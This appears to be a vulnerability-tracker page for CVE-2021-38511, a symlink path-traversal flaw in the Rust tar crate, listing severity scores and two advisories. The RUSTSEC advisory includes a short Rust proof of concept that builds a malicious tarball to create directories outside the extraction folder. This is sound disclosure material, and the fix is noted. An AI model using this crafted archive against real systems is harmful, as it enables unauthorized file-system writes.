CVE-2021-38511

mediumpriority · track · 30EPSS 0.014 · 72 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
1.39% (72nd) EPSS
CVSS 5 · medium
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-28

An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.5
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 5–7.5

v2.05mediumAV:N/AC:L/Au:N/C:N/I:P/A:Nprimary · NVD / NIST USexploitability 10 · impact 2.9
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:Nsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

weaknesses

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03

affected products (4)

Products and version ranges known to be affected.

04

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-62jx-8vmh-4mcwLinks in archive can create arbitrary directories2021-08-25ghsa · osvUS

    When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.

  • RUSTSEC-2021-0080Links in archive can create arbitrary directories2021-07-19vendor · osvUS

    When unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point. ```rust use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") } ``` This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for the fix!

05

also known as (5)

Other names and identifiers for this entity.

06

sources

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published 2021-08-10modified 2026-06-17
08

references (6)

External citations — patches, advisories, analysis.

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